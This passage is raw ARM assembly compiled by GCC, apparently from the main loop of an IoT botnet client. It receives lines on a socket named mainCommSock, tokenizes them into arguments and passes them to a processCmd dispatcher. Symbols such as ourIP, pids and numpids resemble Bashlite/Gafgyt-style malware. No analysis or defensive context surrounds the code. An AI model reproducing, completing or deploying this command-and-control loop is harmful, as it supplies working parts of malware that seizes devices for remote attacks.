	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #10
	beq	.L659
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r0, [r3, #-72]
	bl	strlen
	mov	r3, r0
	add	r3, r3, #1
	mov	r0, r3
	bl	malloc
	mov	r3, r0
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #36
	mov	r1, r3
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-76]
	lsl	r3, r3, #2
	add	r3, r1, r3
	str	r2, [r3, #-44]
	sub	r3, fp, #4096
	sub	r3, r3, #36
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-76]
	lsl	r3, r3, #2
	add	r3, r2, r3
	ldr	r8, [r3, #-44]
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r0, [r3, #-72]
	bl	strlen
	mov	r3, r0
	add	r3, r3, #1
	mov	r2, r3
	mov	r1, #0
	mov	r0, r8
	bl	memset
	sub	r3, fp, #4096
	sub	r3, r3, #36
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-76]
	lsl	r3, r3, #2
	add	r3, r2, r3
	ldr	r3, [r3, #-44]
	sub	r2, fp, #4096
	sub	r2, r2, #36
	ldr	r1, [r2, #-72]
	mov	r0, r3
	bl	strcpy
	sub	r3, fp, #4096
	sub	r3, r3, #36
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-76]
	add	r3, r3, #1
	str	r3, [r2, #-76]
.L659:
	sub	r3, fp, #4096
	sub	r3, r3, #36
	mov	r8, r3
	ldr	r1, .L667+28
	mov	r0, #0
	bl	strtok
	str	r0, [r8, #-72]
.L658:
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-72]
	cmp	r3, #0
	bne	.L660
	sub	r3, fp, #4096
	sub	r3, r3, #36
	sub	r3, r3, #44
	sub	r2, fp, #4096
	sub	r2, r2, #36
	mov	r1, r3
	ldr	r0, [r2, #-76]
	bl	processCmd
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-76]
	cmp	r3, #1
	ble	.L639
	sub	r3, fp, #4096
	sub	r3, r3, #36
	mov	r2, r3
	mov	r3, #1
	str	r3, [r2, #-68]
	sub	r3, fp, #4096
	sub	r3, r3, #36
	mov	r2, r3
	mov	r3, #1
	str	r3, [r2, #-68]
	b	.L662
.L663:
	sub	r3, fp, #4096
	sub	r3, r3, #36
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-68]
	lsl	r3, r3, #2
	add	r3, r2, r3
	ldr	r3, [r3, #-44]
	mov	r0, r3
	bl	free
	sub	r3, fp, #4096
	sub	r3, r3, #36
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-68]
	add	r3, r3, #1
	str	r3, [r2, #-68]
.L662:
	sub	r3, fp, #4096
	sub	r3, r3, #36
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r2, [r2, #-68]
	ldr	r3, [r3, #-76]
	cmp	r2, r3
	blt	.L663
.L639:
	ldr	r3, .L667+8
	ldr	r0, [r3]
	sub	r3, fp, #4096
	sub	r3, r3, #36
	mov	r8, r3
	sub	r3, fp, #4096
	sub	r3, r3, #36
	sub	r3, r3, #4
	mov	r2, #4096
	mov	r1, r3
	bl	recvLine
	str	r0, [r8, #-56]
	sub	r3, fp, #4096
	sub	r3, r3, #36
	ldr	r3, [r3, #-56]
	cmn	r3, #1
	bne	.L664
	b	.L665
.L668:
	.align	2
.L667:
	.word	.LC335
	.word	.LC255
	.word	mainCommSock
	.word	ourIP
	.word	.LC334
	.word	pids
	.word	numpids
	.word	.LC269
	.size	main, .-main
	.data
	.align	2
	.type	i.7311, %object
	.size	i.7311, 4
i.7311:
	.word	4095
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
